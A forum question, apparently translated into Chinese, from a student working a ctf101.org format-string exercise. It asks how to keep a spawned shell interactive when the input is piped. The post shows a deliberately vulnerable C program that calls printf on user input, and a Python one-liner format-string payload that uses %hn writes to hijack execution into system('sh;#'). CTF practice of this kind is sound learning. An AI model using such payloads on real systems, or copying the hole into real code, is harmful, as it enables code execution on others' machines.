如何从终端向进程 STDIN 发送输入而不发送 EOF?

如何从终端向进程 STDIN 发送输入而不发送 EOF?

我正在学习计算机科学并进行安全练习https://ctf101.org/并在空闲时间进行锻炼。

我想在格式字符串利用练习中将输入发送到程序的 STDIN(即下面的有效负载),其中程序读取fgets()两次。

现在,如果我通过管道传输有效载荷(见下文),那么system("sh;#")就会执行,但它会立即退出,因为管道发送了EOF

我还检查了程序的tty,然后写入/dev/pts/0,但这不起作用。写入 也不起作用/proc/PID/fd/0

如何写入程序的 STDIN,以便调用system("sh;#")将产生交互式 shell(不会立即终止)?

python -c 'print("sh;#"+"%54012x"+"%12$hn"+"%09441x"+"%13$hn"+"##"+"\x50\x33\x40\x00\x00\x00\x00\x00"+"\x52\x33\x40\x00\x00\x00\x00\x00")' | env -i ./fmtstr0x1 

完整的程序:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BUFSZ 128

int main(int argc, char** argv) {
    char buffer[BUFSZ];
    fgets(buffer, BUFSZ, stdin);
    printf(buffer);
    fgets(buffer, BUFSZ, stdin); // exploit this!
    return 0;
}

相关内容